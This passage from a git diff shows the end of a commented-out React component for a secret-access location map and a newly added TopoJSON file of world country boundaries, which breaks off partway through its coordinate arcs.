+//         <CardTitle>Secret Access Locations</CardTitle>
+//         <CardDescription>
+//           Geographic distribution of secret access over the past 30 days
+//         </CardDescription>
+//       </CardHeader>
+//       <CardContent>
+//         {isPending ? (
+//           <Skeleton
+//             className="my-[0.5px] w-full rounded-md"
+//             style={{ aspectRatio: `${SVG_WIDTH} / ${SVG_HEIGHT}` }}
+//           />
+//         ) : (
+//           <TooltipProvider>
+//             <ResponsiveWorldMap
+//               mapLocations={mapLocations}
+//               countryActivity={countryActivity}
+//               countryMaxCount={countryMaxCount}
+//               getRadius={getRadius}
+//             />
+//             {totalAccess > 0 && (
+//               <div className="mt-3 -mb-2 flex flex-wrap items-center gap-3 text-xs">
+//                 {mapLocations.map((loc) => (
+//                   <span key={`${loc.city}:${loc.country}`} className="text-foreground">
+//                     <span className="text-muted">
+//                       {loc.city ? `${loc.city}, ${loc.country}` : loc.country}:
+//                     </span>{" "}
+//                     {loc.count.toLocaleString()}
+//                   </span>
+//                 ))}
+//                 {localCount > 0 && (
+//                   <Tooltip>
+//                     <TooltipTrigger asChild>
+//                       <Badge variant="neutral" className="ml-auto cursor-default">
+//                         Local Network: {localCount.toLocaleString()}
+//                       </Badge>
+//                     </TooltipTrigger>
+//                     <TooltipContent>
+//                       <p className="font-medium">Local / Private Network</p>
+//                       <p className="text-xs text-muted">
+//                         {localCount.toLocaleString()} access{localCount !== 1 ? "es" : ""} from
+//                         localhost, Docker, or private IP ranges (127.x, 10.x, 192.168.x)
+//                       </p>
+//                     </TooltipContent>
+//                   </Tooltip>
+//                 )}
+//               </div>
+//             )}
+//           </TooltipProvider>
+//         )}
+//       </CardContent>
+//     </Card>
+//   );
+// };
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/countries-110m.json b/frontend/src/pages/secret-manager/InsightsPage/components/countries-110m.json
new file mode 100644
index 00000000000..055d19ffcf3
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/countries-110m.json
@@ -0,0 +1 @@
+{"type":"Topology","objects":{"countries":{"type":"GeometryCollection","geometries":[{"type":"MultiPolygon","arcs":[[[0]],[[1]]],"id":"242","properties":{"name":"Fiji"}},{"type":"Polygon","arcs":[[2,3,4,5,6,7,8,9,10]],"id":"834","properties":{"name":"Tanzania"}},{"type":"Polygon","arcs":[[11,12,13,14]],"id":"732","properties":{"name":"W. Sahara"}},{"type":"MultiPolygon","arcs":[[[15,16,17,18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]],[[44]],[[45]],[[46]],[[47]]],"id":"124","properties":{"name":"Canada"}},{"type":"MultiPolygon","arcs":[[[-19,48,49,50]],[[51]],[[52]],[[53]],[[54]],[[55]],[[56]],[[57]],[[-17,58]],[[59]]],"id":"840","properties":{"name":"United States of America"}},{"type":"Polygon","arcs":[[60,61,62,63,64,65]],"id":"398","properties":{"name":"Kazakhstan"}},{"type":"Polygon","arcs":[[-63,66,67,68,69]],"id":"860","properties":{"name":"Uzbekistan"}},{"type":"MultiPolygon","arcs":[[[70,71]],[[72]],[[73]],[[74]]],"id":"598","properties":{"name":"Papua New Guinea"}},{"type":"MultiPolygon","arcs":[[[-72,75]],[[76,77]],[[78]],[[79,80]],[[81]],[[82]],[[83]],[[84]],[[85]],[[86]],[[87]],[[88]],[[89]]],"id":"360","properties":{"name":"Indonesia"}},{"type":"MultiPolygon","arcs":[[[90,91]],[[92,93,94,95,96,97]]],"id":"032","properties":{"name":"Argentina"}},{"type":"MultiPolygon","arcs":[[[-92,98]],[[99,-95,100,101]]],"id":"152","properties":{"name":"Chile"}},{"type":"Polygon","arcs":[[-8,102,103,104,105,106,107,108,109,110,111]],"id":"180","properties":{"name":"Dem. Rep. Congo"}},{"type":"Polygon","arcs":[[112,113,114,115]],"id":"706","properties":{"name":"Somalia"}},{"type":"Polygon","arcs":[[-3,116,117,118,-113,119]],"id":"404","properties":{"name":"Kenya"}},{"type":"Polygon","arcs":[[120,121,122,123,124,125,126,127]],"id":"729","properties":{"name":"Sudan"}},{"type":"Polygon","arcs":[[-122,128,129,130,131]],"id":"148","properties":{"name":"Chad"}},{"type":"Polygon","arcs":[[132,133]],"id":"332","properties":{"name":"Haiti"}},{"type":"Polygon","arcs":[[-133,134]],"id":"214","properties":{"name":"Dominican Rep."}},{"type":"MultiPolygon","arcs":[[[135]],[[136]],[[137]],[[138]],[[139]],[[140]],[[141,142,143]],[[144]],[[145]],[[146,147,148,149,-66,150,151,152,153,154,155,156,157,158,159,160,161]],[[162]],[[163,164]]],"id":"643","properties":{"name":"Russia"}},{"type":"MultiPolygon","arcs":[[[165]],[[166]],[[167]]],"id":"044","properties":{"name":"Bahamas"}},{"type":"Polygon","arcs":[[168]],"id":"238","properties":{"name":"Falkland Is."}},{"type":"MultiPolygon","arcs":[[[169]],[[-161,170,171,172]],[[173]],[[174]]],"id":"578","properties":{"name":"Norway"}},{"type":"Polygon","arcs":[[175]],"id":"304","properties":{"name":"Greenland"}},{"type":"Polygon","arcs":[[176]],"id":"260","properties":{"name":"Fr. S. Antarctic Lands"}},{"type":"Polygon","arcs":[[177,-77]],"id":"626","properties":{"name":"Timor-Leste"}},{"type":"Polygon","arcs":[[178,179,180,181,182,183,184],[185]],"id":"710","properties":{"name":"South Africa"}},{"type":"Polygon","arcs":[[-186]],"id":"426","properties":{"name":"Lesotho"}},{"type":"Polygon","arcs":[[-50,186,187,188,189]],"id":"484","properties":{"name":"Mexico"}},{"type":"Polygon","arcs":[[190,191,-93]],"id":"858","properties":{"name":"Uruguay"}},{"type":"Polygon","arcs":[[-191,-98,192,193,194,195,196,197,198,199,200]],"id":"076","properties":{"name":"Brazil"}},{"type":"Polygon","arcs":[[-194,201,-96,-100,202]],"id":"068","properties":{"name":"Bolivia"}},{"type":"Polygon","arcs":[[-195,-203,-102,203,204,205]],"id":"604","properties":{"name":"Peru"}},{"type":"Polygon","arcs":[[-196,-206,206,207,208,209,210]],"id":"170","properties":{"name":"Colombia"}},{"type":"Polygon","arcs":[[-209,211,212,213]],"id":"591","properties":{"name":"Panama"}},{"type":"Polygon","arcs":[[-213,214,215,216]],"id":"188","properties":{"name":"Costa Rica"}},{"type":"Polygon","arcs":[[-216,217,218,219]],"id":"558","properties":{"name":"Nicaragua"}},{"type":"Polygon","arcs":[[-219,220,221,222,223]],"id":"340","properties":{"name":"Honduras"}},{"type":"Polygon","arcs":[[-222,224,225]],"id":"222","properties":{"name":"El Salvador"}},{"type":"Polygon","arcs":[[-189,226,227,-223,-226,228]],"id":"320","properties":{"name":"Guatemala"}},{"type":"Polygon","arcs":[[-188,229,-227]],"id":"084","properties":{"name":"Belize"}},{"type":"Polygon","arcs":[[-197,-211,230,231]],"id":"862","properties":{"name":"Venezuela"}},{"type":"Polygon","arcs":[[-198,-232,232,233]],"id":"328","properties":{"name":"Guyana"}},{"type":"Polygon","arcs":[[-199,-234,234,235]],"id":"740","properties":{"name":"Suriname"}},{"type":"MultiPolygon","arcs":[[[-200,-236,236]],[[237,238,239,240,241,242,243,244]],[[245]]],"id":"250","properties":{"name":"France"}},{"type":"Polygon","arcs":[[-205,246,-207]],"id":"218","properties":{"name":"Ecuador"}},{"type":"Polygon","arcs":[[247]],"id":"630","properties":{"name":"Puerto Rico"}},{"type":"Polygon","arcs":[[248]],"id":"388","properties":{"name":"Jamaica"}},{"type":"Polygon","arcs":[[249]],"id":"192","properties":{"name":"Cuba"}},{"type":"Polygon","arcs":[[-181,250,251,252]],"id":"716","properties":{"name":"Zimbabwe"}},{"type":"Polygon","arcs":[[-180,253,254,-251]],"id":"072","properties":{"name":"Botswana"}},{"type":"Polygon","arcs":[[-179,255,256,257,-254]],"id":"516","properties":{"name":"Namibia"}},{"type":"Polygon","arcs":[[258,259,260,261,262,263,264]],"id":"686","properties":{"name":"Senegal"}},{"type":"Polygon","arcs":[[-261,265,266,267,268,269,270]],"id":"466","properties":{"name":"Mali"}},{"type":"Polygon","arcs":[[-13,271,-266,-260,272]],"id":"478","properties":{"name":"Mauritania"}},{"type":"Polygon","arcs":[[273,274,275,276,277]],"id":"204","properties":{"name":"Benin"}},{"type":"Polygon","arcs":[[-131,278,279,-277,280,-268,281,282]],"id":"562","properties":{"name":"Niger"}},{"type":"Polygon","arcs":[[-278,-280,283,284]],"id":"566","properties":{"name":"Nigeria"}},{"type":"Polygon","arcs":[[-130,285,286,287,288,289,-284,-279]],"id":"120","properties":{"name":"Cameroon"}},{"type":"Polygon","arcs":[[-275,290,291,292]],"id":"768","properties":{"name":"Togo"}},{"type":"Polygon","arcs":[[-292,293,294,295]],"id":"288","properties":{"name":"Ghana"}},{"type":"Polygon","arcs":[[-270,296,-295,297,298,299]],"id":"384","properties":{"name":"Côte d'Ivoire"}},{"type":"Polygon","arcs":[[-262,-271,-300,300,301,302,303]],"id":"324","properties":{"name":"Guinea"}},{"type":"Polygon","arcs":[[-263,-304,304]],"id":"624","properties":{"name":"Guinea-Bissau"}},{"type":"Polygon","arcs":[[-299,305,306,-301]],"id":"430","properties":{"name":"Liberia"}},{"type":"Polygon","arcs":[[-302,-307,307]],"id":"694","properties":{"name":"Sierra Leone"}},{"type":"Polygon","arcs":[[-269,-281,-276,-293,-296,-297]],"id":"854","properties":{"name":"Burkina Faso"}},{"type":"Polygon","arcs":[[-108,308,-286,-129,-121,309]],"id":"140","properties":{"name":"Central African Rep."}},{"type":"Polygon","arcs":[[-107,310,311,312,-287,-309]],"id":"178","properties":{"name":"Congo"}},{"type":"Polygon","arcs":[[-288,-313,313,314]],"id":"266","properties":{"name":"Gabon"}},{"type":"Polygon","arcs":[[-289,-315,315]],"id":"226","properties":{"name":"Eq. Guinea"}},{"type":"Polygon","arcs":[[-7,316,317,-252,-255,-258,318,-103]],"id":"894","properties":{"name":"Zambia"}},{"type":"Polygon","arcs":[[-6,319,-317]],"id":"454","properties":{"name":"Malawi"}},{"type":"Polygon","arcs":[[-5,320,-184,321,-182,-253,-318,-320]],"id":"508","properties":{"name":"Mozambique"}},{"type":"Polygon","arcs":[[-183,-322]],"id":"748","properties":{"name":"eSwatini"}},{"type":"MultiPolygon","arcs":[[[-106,322,-311]],[[-104,-319,-257,323]]],"id":"024","properties":{"name":"Angola"}},{"type":"Polygon","arcs":[[-9,-112,324]],"id":"108","properties":{"name":"Burundi"}},{"type":"Polygon","arcs":[[325,326,327,328,329,330,331]],"id":"376","properties":{"name":"Israel"}},{"type":"Polygon","arcs":[[-331,332,333]],"id":"422","properties":{"name":"Lebanon"}},{"type":"Polygon","arcs":[[334]],"id":"450","properties":{"name":"Madagascar"}},{"type":"Polygon","arcs":[[-327,335]],"id":"275","properties":{"name":"Palestine"}},{"type":"Polygon","arcs":[[-265,336]],"id":"270","properties":{"name":"Gambia"}},{"type":"Polygon","arcs":[[337,338,339]],"id":"788","properties":{"name":"Tunisia"}},{"type":"Polygon","arcs":[[-12,340,341,-338,342,-282,-267,-272]],"id":"012","properties":{"name":"Algeria"}},{"type":"Polygon","arcs":[[-326,343,344,345,346,-328,-336]],"id":"400","properties":{"name":"Jordan"}},{"type":"Polygon","arcs":[[347,348,349,350,351]],"id":"784","properties":{"name":"United Arab Emirates"}},{"type":"Polygon","arcs":[[352,353]],"id":"634","properties":{"name":"Qatar"}},{"type":"Polygon","arcs":[[354,355,356]],"id":"414","properties":{"name":"Kuwait"}},{"type":"Polygon","arcs":[[-345,357,358,359,360,-357,361]],"id":"368","properties":{"name":"Iraq"}},{"type":"MultiPolygon","arcs":[[[-351,362,363,364]],[[-349,365]]],"id":"512","properties":{"name":"Oman"}},{"type":"MultiPolygon","arcs":[[[366]],[[367]]],"id":"548","properties":{"name":"Vanuatu"}},{"type":"Polygon","arcs":[[368,369,370,371]],"id":"116","properties":{"name":"Cambodia"}},{"type":"Polygon","arcs":[[-369,372,373,374,375,376]],"id":"764","properties":{"name":"Thailand"}},{"type":"Polygon","arcs":[[-370,-377,377,378,379]],"id":"418","properties":{"name":"Laos"}},{"type":"Polygon","arcs":[[-376,380,381,382,383,-378]],"id":"104","properties":{"name":"Myanmar"}},{"type":"Polygon","arcs":[[-371,-380,384,385]],"id":"704","properties":{"name":"Vietnam"}},{"type":"MultiPolygon","arcs":[[[386,386,386]],[[-147,387,388,389,390]]],"id":"408","properties":{"name":"North Korea"}},{"type":"Polygon","arcs":[[-389,391]],"id":"410","properties":{"name":"South Korea"}},{"type":"Polygon","arcs":[[-149,392]],"id":"496","properties":{"name":"Mongolia"}},{"type":"Polygon","arcs":[[-383,393,394,395,396,397,398,399,400]],"id":"356","properties":{"name":"India"}},{"type":"Polygon","arcs":[[-382,401,-394]],"id":"050","properties":{"name":"Bangladesh"}},{"type":"Polygon","arcs":[[-400,402]],"id":"064","properties":{"name":"Bhutan"}},{"type":"Polygon","arcs":[[-398,403]],"id":"524","properties":{"name":"Nepal"}},{"type":"Polygon","arcs":[[-396,404,405,406,407]],"id":"586","properties":{"name":"Pakistan"}},{"type":"Polygon","arcs":[[-69,408,409,-407,410,411]],"id":"004","properties":{"name":"Afghanistan"}},{"type":"Polygon","arcs":[[-68,412,413,-409]],"id":"762","properties":{"name":"Tajikistan"}},{"type":"Polygon","arcs":[[-62,414,-413,-67]],"id":"417","properties":{"name":"Kyrgyzstan"}},{"type":"Polygon","arcs":[[-64,-70,-412,415,416]],"id":"795","properties":{"name":"Turkmenistan"}},{"type":"Polygon","arcs":[[-360,417,418,419,420,421,-416,-411,-406,422]],"id":"364","properties":{"name":"Iran"}},{"type":"Polygon","arcs":[[-332,-334,423,424,-358,-344]],"id":"760","properties":{"name":"Syria"}},{"type":"Polygon","arcs":[[-420,425,426,427,428]],"id":"051","properties":{"name":"Armenia"}},{"type":"Polygon","arcs":[[-172,429,430]],"id":"752","properties":{"name":"Sweden"}},{"type":"Polygon","arcs":[[-156,431,432,433,434]],"id":"112","properties":{"name":"Belarus"}},{"type":"Polygon","arcs":[[-155,435,-164,436,437,438,439,440,441,442,-432]],"id":"804","properties":{"name":"Ukraine"}},{"type":"Polygon","arcs":[[-433,-443,443,444,445,446,-142,447]],"id":"616","properties":{"name":"Poland"}},{"type":"Polygon","arcs":[[448,449,450,451,452,453,454]],"id":"040","properties":{"name":"Austria"}},{"type":"Polygon","arcs":[[-441,455,456,457,458,-449,459]],"id":"348","properties":{"name":"Hungary"}},{"type":"Polygon","arcs":[[-439,460]],"id":"498","properties":{"name":"Moldova"}},{"type":"Polygon","arcs":[[-438,461,462,463,-456,-440,-461]],"id":"642","properties":{"name":"Romania"}},{"type":"Polygon","arcs":[[-434,-448,-144,464,465]],"id":"440","properties":{"name":"Lithuania"}},{"type":"Polygon","arcs":[[-157,-435,-466,466,467]],"id":"428","properties":{"name":"Latvia"}},{"type":"Polygon","arcs":[[-158,-468,468]],"id":"233","properties":{"name":"Estonia"}},{"type":"Polygon","arcs":[[-446,469,-453,470,-238,471,472,473,474,475,476]],"id":"276","properties":{"name":"Germany"}},{"type":"Polygon","arcs":[[-463,477,478,479,480,481]],"id":"100","properties":{"name":"Bulgaria"}},{"type":"MultiPolygon","arcs":[[[482]],[[-480,483,484,485,486]]],"id":"300","properties":{"name":"Greece"}},{"type":"MultiPolygon","arcs":[[[-359,-425,487,488,-427,-418]],[[-479,489,-484]]],"id":"792","properties":{"name":"Turkey"}},{"type":"Polygon","arcs":[[-486,490,491,492,493]],"id":"008","properties":{"name":"Albania"}},{"type":"Polygon","arcs":[[-458,494,495,496,497,498]],"id":"191","properties":{"name":"Croatia"}},{"type":"Polygon","arcs":[[-452,499,-239,-471]],"id":"756","properties":{"name":"Switzerland"}},{"type":"Polygon","arcs":[[-472,-245,500]],"id":"442","properties":{"name":"Luxembourg"}},{"type":"Polygon","arcs":[[-473,-501,-244,501,502]],"id":"056","properties":{"name":"Belgium"}},{"type":"Polygon","arcs":[[-474,-503,503]],"id":"528","properties":{"name":"Netherlands"}},{"type":"Polygon","arcs":[[504,505]],"id":"620","properties":{"name":"Portugal"}},{"type":"Polygon","arcs":[[-505,506,-242,507]],"id":"724","properties":{"name":"Spain"}},{"type":"Polygon","arcs":[[508,509]],"id":"372","properties":{"name":"Ireland"}},{"type":"Polygon","arcs":[[510]],"id":"540","properties":{"name":"New Caledonia"}},{"type":"MultiPolygon","arcs":[[[511]],[[512]],[[513]],[[514]],[[515]]],"id":"090","properties":{"name":"Solomon Is."}},{"type":"MultiPolygon","arcs":[[[516]],[[517]]],"id":"554","properties":{"name":"New Zealand"}},{"type":"MultiPolygon","arcs":[[[518]],[[519]]],"id":"036","properties":{"name":"Australia"}},{"type":"Polygon","arcs":[[520]],"id":"144","properties":{"name":"Sri Lanka"}},{"type":"MultiPolygon","arcs":[[[521]],[[-61,-150,-393,-148,-391,522,-385,-379,-384,-401,-403,-399,-404,-397,-408,-410,-414,-415]]],"id":"156","properties":{"name":"China"}},{"type":"Polygon","arcs":[[523]],"id":"158","properties":{"name":"Taiwan"}},{"type":"MultiPolygon","arcs":[[[-451,524,525,-240,-500]],[[526]],[[527]]],"id":"380","properties":{"name":"Italy"}},{"type":"MultiPolygon","arcs":[[[-476,528]],[[529]]],"id":"208","properties":{"name":"Denmark"}},{"type":"MultiPolygon","arcs":[[[-510,530]],[[531]]],"id":"826","properties":{"name":"United Kingdom"}},{"type":"Polygon","arcs":[[532]],"id":"352","properties":{"name":"Iceland"}},{"type":"MultiPolygon","arcs":[[[-152,533,-421,-429,534]],[[-419,-426]]],"id":"031","properties":{"name":"Azerbaijan"}},{"type":"Polygon","arcs":[[-153,-535,-428,-489,535]],"id":"268","properties":{"name":"Georgia"}},{"type":"MultiPolygon","arcs":[[[536]],[[537]],[[538]],[[539]],[[540]],[[541]],[[542]]],"id":"608","properties":{"name":"Philippines"}},{"type":"MultiPolygon","arcs":[[[-374,543]],[[-81,544,545,546]]],"id":"458","properties":{"name":"Malaysia"}},{"type":"Polygon","arcs":[[-546,547]],"id":"096","properties":{"name":"Brunei"}},{"type":"Polygon","arcs":[[-450,-459,-499,548,-525]],"id":"705","properties":{"name":"Slovenia"}},{"type":"Polygon","arcs":[[-160,549,-430,-171]],"id":"246","properties":{"name":"Finland"}},{"type":"Polygon","arcs":[[-442,-460,-455,550,-444]],"id":"703","properties":{"name":"Slovakia"}},{"type":"Polygon","arcs":[[-445,-551,-454,-470]],"id":"203","properties":{"name":"Czechia"}},{"type":"Polygon","arcs":[[-126,551,552,553]],"id":"232","properties":{"name":"Eritrea"}},{"type":"MultiPolygon","arcs":[[[554]],[[555]],[[556]]],"id":"392","properties":{"name":"Japan"}},{"type":"Polygon","arcs":[[-193,-97,-202]],"id":"600","properties":{"name":"Paraguay"}},{"type":"Polygon","arcs":[[-364,557,558]],"id":"887","properties":{"name":"Yemen"}},{"type":"Polygon","arcs":[[-346,-362,-356,559,-354,560,-352,-365,-559,561]],"id":"682","properties":{"name":"Saudi Arabia"}},{"type":"MultiPolygon","arcs":[[[562]],[[563]],[[564]],[[565]],[[566]],[[567]],[[568]],[[569]]],"id":"010","properties":{"name":"Antarctica"}},{"type":"Polygon","arcs":[[570,571]],"properties":{"name":"N. Cyprus"}},{"type":"Polygon","arcs":[[-572,572]],"id":"196","properties":{"name":"Cyprus"}},{"type":"Polygon","arcs":[[-341,-15,573]],"id":"504","properties":{"name":"Morocco"}},{"type":"Polygon","arcs":[[-124,574,575,-329,576]],"id":"818","properties":{"name":"Egypt"}},{"type":"Polygon","arcs":[[-123,-132,-283,-343,-340,577,-575]],"id":"434","properties":{"name":"Libya"}},{"type":"Polygon","arcs":[[-114,-119,578,-127,-554,579,580]],"id":"231","properties":{"name":"Ethiopia"}},{"type":"Polygon","arcs":[[-553,581,582,-580]],"id":"262","properties":{"name":"Djibouti"}},{"type":"Polygon","arcs":[[-115,-581,-583,583]],"properties":{"name":"Somaliland"}},{"type":"Polygon","arcs":[[-11,584,-110,585,-117]],"id":"800","properties":{"name":"Uganda"}},{"type":"Polygon","arcs":[[-10,-325,-111,-585]],"id":"646","properties":{"name":"Rwanda"}},{"type":"Polygon","arcs":[[-496,586,587]],"id":"070","properties":{"name":"Bosnia and Herz."}},{"type":"Polygon","arcs":[[-481,-487,-494,588,589]],"id":"807","properties":{"name":"Macedonia"}},{"type":"Polygon","arcs":[[-457,-464,-482,-590,590,591,-587,-495]],"id":"688","properties":{"name":"Serbia"}},{"type":"Polygon","arcs":[[-492,592,-497,-588,-592,593]],"id":"499","properties":{"name":"Montenegro"}},{"type":"Polygon","arcs":[[-493,-594,-591,-589]],"properties":{"name":"Kosovo"}},{"type":"Polygon","arcs":[[594]],"id":"780","properties":{"name":"Trinidad and Tobago"}},{"type":"Polygon","arcs":[[-109,-310,-128,-579,-118,-586]],"id":"728","properties":{"name":"S. Sudan"}}]},"land":{"type":"GeometryCollection","geometries":[{"type":"MultiPolygon","arcs":[[[0]],[[1]],[[3,320,184,255,323,104,322,311,313,315,289,284,273,290,293,297,305,307,302,304,263,336,258,272,13,573,341,338,577,575,329,332,423,487,535,153,435,164,436,461,477,489,484,490,592,497,548,525,240,507,505,506,242,501,503,474,528,476,446,142,464,466,468,158,549,430,172,161,387,391,389,522,385,371,372,543,374,380,401,394,404,422,360,354,559,352,560,347,365,349,362,557,561,346,576,124,551,581,583,115,119],[421,416,64,150,533]],[[17,48,186,229,227,223,219,216,213,209,230,232,234,236,200,191,93,100,203,246,207,211,214,217,220,224,228,189,50,15,58]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]],[[44]],[[45]],[[46]],[[47]],[[51]],[[52]],[[53]],[[54]],[[55]],[[56]],[[57]],[[59]],[[70,75]],[[72]],[[73]],[[74]],[[77,177]],[[78]],[[546,79,544,547]],[[81]],[[82]],[[83]],[[84]],[[85]],[[86]],[[87]],[[88]],[[89]],[[90,98]],[[133,134]],[[135]],[[136]],[[137]],[[138]],[[139]],[[140]],[[144]],[[145]],[[162]],[[165]],[[166]],[[167]],[[168]],[[169]],[[173]],[[174]],[[175]],[[176]],[[245]],[[247]],[[248]],[[249]],[[334]],[[366]],[[367]],[[482]],[[508,530]],[[510]],[[511]],[[512]],[[513]],[[514]],[[515]],[[516]],[[517]],[[518]],[[519]],[[520]],[[521]],[[523]],[[526]],[[527]],[[529]],[[531]],[[532]],[[536]],[[537]],[[538]],[[539]],[[540]],[[541]],[[542]],[[554]],[[555]],[[556]],[[562]],[[563]],[[564]],[[565]],[[566]],[[567]],[[568]],[[569]],[[570,572]],[[594]]]}]}},"arcs":[[[99478,40237],[69,98],[96,-171],[-46,-308],[-172,-81],[-153,73],[-27,260],[107,203],[126,-74]],[[0,41087],[57,27],[-34,-284],[-23,-32],[99822,-145],[-177,-124],[-36,220],[139,121],[88,33],[163,184],[-99999,0]],[[59417,50018],[47,-65],[1007,-1203],[19,-343],[399,-590]],[[60889,47817],[-128,-728],[16,-335],[178,-216],[8,-153],[-76,-357],[16,-180],[-18,-282],[97,-370],[115,-583],[101,-129]],[[61198,44484],[-221,-342],[-303,-230],[-167,10],[-99,-177],[-193,-16],[-73,-74],[-334,166],[-209,-48]],[[59599,43773],[-77,804],[-95,275],[-55,164],[-273,110]],[[59099,45126],[-157,177],[-177,100],[-111,99],[-116,150]],[[58538,45652],[-150,745],[-161,330],[-55,343],[27,307],[-50,544]],[[58149,47921],[115,28],[101,214],[108,308],[69,124],[-3,192],[-60,134],[-16,233]],[[58463,49154],[80,74],[16,348],[-110,333]],[[58449,49909],[98,71],[304,-7],[566,45]],[[47592,66920],[1,-40],[-6,-114]],[[47587,66766],[-1,-895],[-911,31],[9,-1512],[-261,-53],[-68,-304],[53,-853],[-1088,4],[-60,-197]],[[45260,62987],[12,249]],[[45272,63236],[5,-1],[625,48],[33,213],[114,265],[92,816],[386,637],[131,745],[86,44],[91,460],[234,63],[100,-76],[126,0],[90,134],[172,19],[-7,317],[42,0]],[[15878,79530],[-38,1],[-537,581],[-199,255],[-503,244],[-155,523],[40,363],[-356,252],[-48,476],[-336,429],[-6,304]],[[13740,82958],[154,285],[-7,373],[-473,376],[-284,674],[-173,424],[-255,266],[-187,242],[-147,306],[-279,-192],[-270,-330],[-247,388],[-194,259],[-271,164],[-273,17],[1,3364],[2,2193]],[[10837,91767],[518,-142],[438,-285],[289,-54],[244,247],[336,184],[413,-72],[416,259],[455,148],[191,-245],[207,138],[62,278],[192,-63],[470,-530],[369,401],[38,-449],[341,97],[105,173],[337,-34],[424,-248],[650,-217],[383,-100],[272,38],[374,-300],[-390,-293],[502,-127],[750,70],[236,103],[296,-354],[302,299],[-283,251],[179,202],[338,27],[223,59],[224,-141],[279,-321],[310,47],[491,-266],[431,94],[405,-14],[-32,367],[247,103],[431,-200],[-2,-559],[177,471],[223,-16],[126,594],[-298,364],[-324,239],[22,653],[329,429],[366,-95],[281,-261],[378,-666],[-247,-290],[517,-120],[-1,-604],[371,463],[332,-380],[-83,-438],[269,-399],[290,427],[202,510],[16,649],[394,-46],[411,-87],[373,-293],[17,-293],[-207,-315],[196,-316],[-36,-288],[-544,-413],[-386,-91],[-287,178],[-83,-297],[-268,-498],[-81,-259],[-322,-399],[-397,-39],[-220,-250],[-18,-384],[-323,-74],[-340,-479],[-301,-665],[-108,-466],[-16,-686],[409,-99],[125,-553],[130,-448],[388,117],[517,-256],[277,-225],[199,-279],[348,-163],[294,-248],[459,-34],[302,-58],[-45,-511],[86,-594],[201,-661],[414,-561],[214,192],[150,607],[-145,934],[-196,311],[445,276],[314,415],[154,411],[-23,395],[-188,502],[-338,445],[328,619],[-121,535],[-93,922],[194,137],[476,-161],[286,-57],[230,155],[258,-200],[342,-343],[85,-229],[495,-45],[-8,-496],[92,-747],[254,-92],[201,-348],[402,328],[266,652],[184,274],[216,-527],[362,-754],[307,-709],[-112,-371],[370,-333],[250,-338],[442,-152],[179,-189],[110,-500],[216,-78],[112,-223],[20,-664],[-202,-222],[-199,-207],[-458,-210],[-349,-486],[-470,-96],[-594,125],[-417,4],[-287,-41],[-233,-424],[-354,-262],[-401,-782],[-320,-545],[236,97],[446,776],[583,493],[415,58],[246,-289],[-262,-397],[88,-637],[91,-446],[361,-295],[459,86],[278,664],[19,-429],[180,-214],[-344,-387],[-615,-351],[-276,-239],[-310,-426],[-211,44],[-11,500],[483,488],[-445,-19],[-309,-72]],[[31350,77248],[-181,334],[0,805],[-123,171],[-187,-100],[-92,155],[-212,-446],[-84,-460],[-99,-269],[-118,-91],[-89,-30],[-28,-146],[-512,0],[-422,-4],[-125,-109],[-294,-425],[-34,-46],[-89,-231],[-255,1],[-273,-3],[-125,-93],[44,-116],[25,-181],[-5,-60],[-363,-293],[-286,-93],[-323,-316],[-70,0],[-94,93],[-31,85],[6,61],[61,207],[131,325],[81,349],[-56,514],[-59,536],[-290,277],[35,105],[-41,73],[-76,0],[-56,93],[-14,140],[-54,-61],[-75,18],[17,59],[-65,58],[-27,155],[-216,189],[-224,197],[-272,229],[-261,214],[-248,-167],[-91,-6],[-342,154],[-225,-77],[-269,183],[-284,94],[-194,36],[-86,100],[-49,325],[-94,-3],[-1,-227],[-575,0],[-951,0],[-944,0],[-833,0],[-834,0],[-819,0],[-847,0],[-273,0],[-824,0],[-789,0]],[[26668,87478],[207,273],[381,-6],[-6,-114],[-325,-326],[-196,13],[-61,160]],[[27840,93593],[-306,313],[12,213],[133,39],[636,-63],[479,-325],[25,-163],[-296,17],[-299,13],[-304,-80],[-80,36]],[[27690,87261],[107,177],[114,-13],[70,-121],[-108,-310],[-123,50],[-73,176],[13,41]],[[23996,94879],[-151,-229],[-403,44],[-337,155],[148,266],[399,159],[243,-208],[101,-187]],[[23933,96380],[-126,-17],[-521,38],[-74,165],[559,-9],[195,-109],[-33,-68]],[[23124,97116],[332,-205],[-76,-214],[-411,-122],[-226,138],[-119,221],[-22,245],[360,-24],[162,-39]],[[25514,94532],[-449,73],[-738,190],[-96,325],[-34,293],[-279,258],[-574,72],[-322,183],[104,242],[573,-37],[308,-190],[547,1],[240,-194],[-64,-222],[319,-134],[177,-140],[374,-26],[406,-50],[441,128],[566,51],[451,-42],[298,-223],[62,-244],[-174,-157],[-414,-127],[-355,72],[-797,-91],[-570,-11]],[[19093,96754],[392,-92],[-93,-177],[-518,-170],[-411,191],[224,188],[406,60]],[[19177,97139],[361,-120],[-339,-115],[-461,1],[5,84],[285,177],[149,-27]],[[34555,80899],[-148,-372],[-184,-517],[181,199],[187,-126],[-98,-206],[247,-162],[128,144],[277,-182],[-86,-433],[194,101],[36,-313],[86,-367],[-117,-520],[-125,-22],[-183,111],[60,484],[-77,75],[-322,-513],[-166,21],[196,277],[-267,144],[-298,-35],[-539,18],[-43,175],[173,208],[-121,160],[234,356],[287,941],[172,336],[241,204],[129,-26],[-54,-160]],[[26699,89048],[304,-203],[318,-184],[25,-281],[204,46],[199,-196],[-247,-186],[-432,142],[-156,266],[-275,-314],[-396,-306],[-95,346],[-377,-57],[242,292],[35,465],[95,542],[201,-49],[51,-259],[143,91],[161,-155]],[[28119,93327],[263,235],[616,-299],[383,-282],[36,-258],[515,134],[290,-376],[670,-234],[242,-238],[263,-553],[-510,-275],[654,-386],[441,-130],[400,-543],[437,-39],[-87,-414],[-487,-687],[-342,253],[-437,568],[-359,-74],[-35,-338],[292,-344],[377,-272],[114,-157],[181,-584],[-96,-425],[-350,160],[-697,473],[393,-509],[289,-357],[45,-206],[-753,236],[-596,343],[-337,287],[97,167],[-414,304],[-405,286],[5,-171],[-803,-94],[-235,203],[183,435]